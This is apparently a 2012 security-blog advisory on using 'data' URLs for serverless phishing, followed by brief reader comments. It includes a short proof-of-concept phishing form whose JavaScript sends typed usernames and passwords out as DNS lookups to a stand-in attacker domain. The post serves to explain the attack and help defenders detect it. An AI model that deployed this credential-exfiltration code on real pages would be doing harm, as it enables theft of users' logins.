"Data" URLs used for in-URL phishing
The use of "data" URLs in cross site scripting and other attacks isn't exactly new. But the concept is still not widely known, and keeps getting rediscovered. The latest iteration is a paper outlining the use of "data" URLs in "server less phishing" [1]. (thanks to our reader Tor for pointing this paper out)
"data" URLs are defined in RFC 2397 (published 1998! ancient internet history) and implemented in all browsers I am aware off. I remember actually using them back in the old days to embed images in some of my early CGI scripts, before I figured out better ways to do this.
The syntax is pretty simple:
data:[<mediatype>][;base64],[data]
The trick is that the "data" URL doesn't point to a remote document like a traditional URL, but instead it includes all the data needed to display the page. Here are two examples: a small image. and a simple HTML page. You can create your own "data" URLs easily at the "Data URI Kitchen" [1] .
You can probably see how it wouldn't be too hard to come up with a half way convincing phishing page. The problem is that there are few defenses against this type of phishing. The web browser will not connect to any external resource to display the phish, unless images are included from remote sites (they could also be embedded). The only limit is whatever size limit to URLs the browser imposes.
From a phishing perspective, this will allow inserting the form, but you will still need a web server to receive the data. Unless of course, you can exfiltrate this via DNS. Here is a little proof of concept HTML / javascript to accomplish this. The "image" loaded here doesn't actually exist, and the only thing we are interested in is the DNS request sending the username and password as it is typed:
<html>
<script>
fakeimage=new Image();
function send(form) {
var user=form.user.value;
var pass=form.pass.value;
fakeimage.src="http://"+user+'.'+pass+'.evilexample.com/image.gif';
}
</script>
<form action="http://phishmebank.com">
Username: <input type="text" name="user" onkeydown="send(this.form);">
Password: <input type="password" name="pass" onkeydown="send(this.form);">
</form>
</html>
Did I mention that you should REALLY watch your DNS and HTTP proxy logs (this would not show up in your proxy logs if the DNS query returns NXDOMAIN)
[1] http://klevjers.com/papers/phishing.pdf
[2] http://software.hixie.ch/utilities/cgi/data/data
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
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Comments
The image URL is "data:image..." but the text/html URLs are "http://data:text..." Should they be prefixed with "http://"? I suspect not. Did the website text editor "help you out" and break them?
John Hardin
Aug 29th 2012
1 decade ago
I have had filters setup for this on my secure mail relays and web proxies for years. I noticed an uptick of this activity just after this years Blackhat. Because it is not used very frequently I just do a regex rewrite at the web proxy or quarantine the email on the smr. To date, I have not had a false positive.
procana
Aug 29th 2012
1 decade ago
Anonymous
Aug 29th 2012
1 decade ago
jullrich@sans.edu
Aug 29th 2012
1 decade ago
Alfred
Sep 4th 2012
1 decade ago